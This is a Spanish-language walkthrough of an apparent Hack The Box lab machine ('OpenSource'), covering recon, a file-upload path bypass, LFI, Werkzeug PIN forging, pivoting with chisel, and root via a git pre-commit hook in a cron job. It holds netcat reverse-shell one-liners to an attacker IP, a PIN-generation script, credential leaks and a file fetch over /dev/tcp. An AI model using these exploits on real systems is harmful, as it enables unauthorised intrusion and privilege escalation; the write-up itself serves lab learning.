Conocimientos
-
Enumeración Web
-
Enumeración de Proyecto Git
-
Information Disclosure
-
Arbitrary File Upload
-
LFI
-
Abuso de Werkzeug - Bypass PIN
-
Remote Port Forwarding
-
Pivoting
-
Abuso de Gitea
-
Abuso de tarea CRON
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.164 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 17:04 GMT
Nmap scan report for 10.10.11.164
Host is up (0.12s latency).
Not shown: 65532 closed tcp ports (reset), 1 filtered tcp port (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 15.42 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.10.11.164 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 17:07 GMT
Nmap scan report for 10.10.11.164
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e59057ca958c923900f7523823d055f (RSA)
| 256 48a853e7e008aa1d968652bb8856a0b7 (ECDSA)
|_ 256 021f979e3c8e7a1c7caf9d5a254bb8c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Thu, 09 Mar 2023 17:07:22 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Thu, 09 Mar 2023 17:07:22 GMT
| Content-Type: text/html; charset=utf-8
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.93%I=7%D=3/9%Time=640A124C%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,1039,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20Py
SF:thon/3\.10\.3\r\nDate:\x20Thu,\x2009\x20Mar\x202023\x2017:07:22\x20GMT\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x205
SF:316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20\
SF:x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\
SF:"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n
SF:\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!<
SF:/title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jquer
SF:y-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stati
SF:c/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script\
SF:x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\x
SF:20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround\
SF:.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=
SF:\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<lin
SF:k\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boot
SF:strap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hre
SF:f=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20\
SF:x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\n
SF:Server:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Thu,\x2009\x
SF:20Mar\x202023\x2017:07:22\x20GMT\r\nContent-Type:\x20text/html;\x20char
SF:set=utf-8\r\nAllow:\x20HEAD,\x20OPTIONS,\x20GET\r\nContent-Length:\x200
SF:\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML
SF:\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equi
SF:v=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20
SF:</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Er
SF:ror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:
SF:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20requ
SF:est\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20B
SF:ad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\
SF:x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.44 seconds
Puerto 80 (HTTP)
Con whatweb
, analizo las tecnologías que está empleando el servidor web
whatweb http://10.10.11.164
http://10.10.11.164 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTTPServer[Werkzeug/2.1.2 Python/3.10.3], IP[10.10.11.164], JQuery[3.4.1], Python[3.10.3], Script, Title[upcloud - Upload files for Free!], Werkzeug[2.1.2]
La página principal se ve así:
Puedo descargar un comprimido
Corresponde a un proyecto de Github
ls -la
total 28
drwxr-xr-x 5 root root 4096 Mar 9 17:10 .
drwxr-xr-x 3 root root 4096 Mar 9 17:10 ..
drwxrwxr-x 5 root root 4096 Apr 28 2022 app
-rwxr-xr-x 1 root root 110 Apr 28 2022 build-docker.sh
drwxr-xr-x 2 root root 4096 Apr 28 2022 config
-rw-rw-r-- 1 root root 574 Apr 28 2022 Dockerfile
drwxrwxr-x 8 root root 4096 Mar 9 17:11 .git
git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
Aplico un diff par ver la diferencia con el otro commit
git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
Todo este proyecto está desplegando en el puerto 80. En la ruta /upcloud
, puedo subir archivos
En el archivo de configuración config/supervisord.conf
se puede ver que es root quien despliega el servicio
[supervisord]
user=root
nodaemon=true
logfile=/dev/null
logfile_maxbytes=0
pidfile=/run/supervisord.pid
[program:flask]
command=python /app/run.py
stdout_logfile=/dev/stdout
stdout_logfile_maxbytes=0
stderr_logfile=/dev/stderr
stderr_logfile_maxbytes=0
La estructura de como van a almacenarse es la siguiente:
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Puedo subir un archivo en PHP
, pero no lo interpreta
curl http://10.10.11.164/uploads/cmd.php
<?php
system($_REQUEST['cmd']);
?>
En utils.py
se puede ver en que consiste la función que se encarga de obtener el archivo
def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")
Está tratando de eliminar ../
del nombre del archivo. En caso de no poner nada como nombre, aparece un error en el que se leakea una ruta
Se puede bypassear de una forma muy sencilla. No puedo hacer un directory path traversal
python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.path.join(os.getcwd(), "public", "uploads", "test")
'/home/rubbx/Desktop/HTB/Machines/OpenSource/source/app/app/public/uploads/test'
Pero en caso de introducir al comienzo una barra, la toma como prioritaria con respecto a la función get_file_name(f.filename)
>>> os.path.join(os.getcwd(), "public", "uploads", "/test")
'/test'
Puedo tratar de crear un nuevo views.py
con una función que se encargue de enviarme una reverse shell
@app.route('/pwned')
def pwned():
return os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.9 443 >/tmp/f")
Lo intercepto con BurpSuite
y le cambio el nombre a /app/app/views.py
curl -s -X GET http://10.10.11.164/pwned
Gano acceso a un contenedor
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.164] 35385
sh: can't access tty; job control turned off
/app # whoami
root
/app # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
/ # python3 -c 'import pty; pty.spawn("/bin/sh")'
/ # ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
/ # export TERM=xterm
/ # export SHELL=sh
/ # stty rows 55 columns 209
Hau un LFI en la ruta /uploads
curl 'http://10.10.11.164/uploads/..//etc/passwd' --path-as-is
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
Aplico fuzzing para descubrir rutas en la web
gobuster dir -u http://10.10.11.164 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.164
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/03/09 21:38:50 Starting gobuster in directory enumeration mode
===============================================================
/console (Status: 200) [Size: 1563]
Encuentra un /console
. Está bloqueada por un pin
Descargo de Hactricks un script que se encarga de generar el pin. Para ello necesito obtener varios valores, aprovechándome del LFI y las rutas que se leakeaban en los errores
Obtengo la MAC
curl -s -X GET 'http://10.10.11.164/uploads/..//sys/class/net/eth0/address' --path-as-is
02:42:ac:11:00:03
La convierto a decimal
python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x0242ac110003
2485377892355
Y obtengo el otro valor
curl 'http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id' --path-as-is --ignore-content-length
2702ea2c-f783-4553-8988-17df49318302
curl 'http://10.10.11.164/uploads/..//proc/self/cgroup' --path-as-is --ignore-content-length
12:hugetlb:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
11:freezer:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
10:rdma:/
9:devices:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
8:pids:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
7:net_cls,net_prio:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
6:blkio:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
5:cpuset:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
4:cpu,cpuacct:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
3:memory:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
2:perf_event:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
1:name=systemd:/docker/b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345
0::/system.slice/snap.docker.dockerd.service
La idea es compactar este con el anterior. El script quedaría así:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892355',# str(uuid.getnode()), /sys/class/net/ens33/address
'2702ea2c-f783-4553-8988-17df49318302b708f3d89365eba0b8a5d112625e230edd7df211a4ce0d5f17fab8ab7273d345'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Al ejecutar obtengo el pin
python3 pin_generator.py
226-144-365
Pero al introducirlo me pone que no es válido
Esto se debe a que el algoritmo que se está empleando, no corresponde a la versión.
Lo cambio de md5
a sha1
h = hashlib.sha1()
python3 pin_generator.py
138-826-536
Ahora puedo ejecutar comandos desde el WerkZeug
Me envío una reverse shell
os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.9 443 >/tmp/f").read().strip()
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.164] 44719
sh: can't access tty; job control turned off
/app # python3 -c 'import pty; pty.spawn("/bin/sh")'
/app # ^[[6;8R^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
reset xterm
/app # export TERM=xterm
/app # export SHELL=sh
/app # stty rows 55 columns 209
Esto sería otra forma de ganar acceso al contenedor
/app # whoami
root
/app # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
6: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
En el proyecto de Github hay otro branch
git branch
dev
* public
Dev
tiene más commits que public
git log dev --oneline
c41fede (dev) ease testing
be4da71 added gitignore
a76f8f7 updated
ee9d9f1 initial
Inspecciono los cambios para updated
git show a76f8f7
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+ "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+ "http.proxyStrictSSL": false
+}
diff --git a/app/app/views.py b/app/app/views.py
index f2744c6..0f3cc37 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,7 +6,17 @@ from flask import render_template, request, send_file
from app import app
-@app.route('/', methods=['GET', 'POST'])
+@app.route('/')
+def index():
+ return render_template('index.html')
+
+
+@app.route('/download')
+def download():
+ return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
+
+
+@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
@@ -20,4 +30,4 @@ def upload_file():
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
- return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
\ No newline at end of file
+ return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Se pueden ver credenciales en texto claro, dev01:Soulless_Developer#2022
. No puedo conectarme por SSH proporcionando la contraseña, está deshabilitado
ssh dev01@10.10.11.164
The authenticity of host '10.10.11.164 (10.10.11.164)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.164' (ED25519) to the list of known hosts.
dev01@10.10.11.164: Permission denied (publickey).
No tengo conectividad para transferirme archivos al contenedor. Pero sí que puedo aprovecharme del netcat
/tmp # nc 172.17.0.1 22 -zv
172.17.0.1 (172.17.0.1:22) open
Voy a suponer que esta IP corresponde a la máquina host
/tmp # for port in $(seq 1 65535); do nc 172.17.0.1 $port -zv; done
172.17.0.1 (172.17.0.1:22) open
172.17.0.1 (172.17.0.1:80) open
172.17.0.1 (172.17.0.1:3000) open
172.17.0.1 (172.17.0.1:6000) open
172.17.0.1 (172.17.0.1:6001) open
172.17.0.1 (172.17.0.1:6002) open
172.17.0.1 (172.17.0.1:6003) open
172.17.0.1 (172.17.0.1:6004) open
172.17.0.1 (172.17.0.1:6005) open
172.17.0.1 (172.17.0.1:6006) open
172.17.0.1 (172.17.0.1:6007) open
Me transfiero el chisel
nc -nlvp 8000 < chisel
/tmp # cat /dev/tcp/10.10.16.9/8000 > chisel
En mi equipo lo ejecuto como servidor
chisel server -p 1234 --reverse
Y en el contenedor como cliente
./chisel client 10.10.16.9:1234 R:socks &>/dev/null &
Añado una configuración en el BurpSuite
para poder pasar por el tunel de SOCKS5
Es un Gitea
Las credenciales de antes son válidas para iniciar sesión
Dentro hay un directorio .ssh
con una clave id_rsa
Gano acceso al sistema como dev01
ssh -i id_rsa dev01@10.10.11.164
The authenticity of host '10.10.11.164 (10.10.11.164)' can't be established.
ED25519 key fingerprint is SHA256:LbyqaUq6KgLagQJpfh7gPPdQG/iA2K4KjYGj0k9BMXk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.164' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Mar 10 10:34:54 UTC 2023
System load: 0.16 Processes: 223
Usage of /: 75.4% of 3.48GB Users logged in: 0
Memory usage: 22% IP address for eth0: 10.10.11.164
Swap usage: 0% IP address for docker0: 172.17.0.1
=> There are 2 zombie processes.
16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$
Puedo ver la primera flag
dev01@opensource:~$ cat user.txt
35491148b8dc0b12f20a8cef52eda723
Escalada
En el directorio personal del usuario git
hay un archivo de configuración
dev01@opensource:/home/git$ ls -la
total 16
drwxr-xr-x 3 git git 4096 May 4 2022 .
drwxr-xr-x 4 root root 4096 May 16 2022 ..
-rw-r--r-- 1 git git 112 Apr 27 2022 .gitconfig
drwx------ 2 git git 4096 May 4 2022 .ssh
dev01@opensource:/home/git$ cat .gitconfig
[user]
name = Gitea
email = gitea@fake.local
[core]
quotePath = false
[receive]
advertisePushOptions = true
Subo y ejecuto el pspy
. Encuentra una tarea que se ejecuta por root
2023/03/10 10:43:01 CMD: UID=0 PID=18830 | /bin/bash /usr/local/bin/git-sync
2023/03/10 10:43:01 CMD: UID=0 PID=18829 | /bin/sh -c /usr/local/bin/git-sync
2023/03/10 10:43:01 CMD: UID=0 PID=18828 | /usr/sbin/CRON -f
2023/03/10 10:43:01 CMD: UID=0 PID=18831 | git status --porcelain
2023/03/10 10:43:01 CMD: UID=0 PID=18834 | git commit -m Backup for 2023-03-10
2023/03/10 10:43:01 CMD: UID=0 PID=18836 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2023/03/10 10:43:01 CMD: UID=0 PID=18835 | git push origin main
Puedo leer el contenido del script
dev01@opensource:/tmp$ ls -l /usr/local/bin/git-sync
-rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-sync
dev01@opensource:/tmp$ cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
En caso de que se detecten cambios en el repositorio git, se creará un nuevo commit y se sincronizarán los cambios. El único repositorio se encuentra en mi directorio personal
dev01@opensource:/$ find \-name .git 2>/dev/null
./home/dev01/.git
Corresponde al Gitea
donde extraje la id_rsa
. Existe una forma en la que puedo ejecutar comandos abusando del pre-commit
dev01@opensource:~$ echo 'chmod u+s /bin/bash' > ".git/hooks/pre-commit"
dev01@opensource:~$ chmod +x /home/dev01/.git/hooks/pre-commit
La bash se convierte en SUID y puedo ver la segunda flag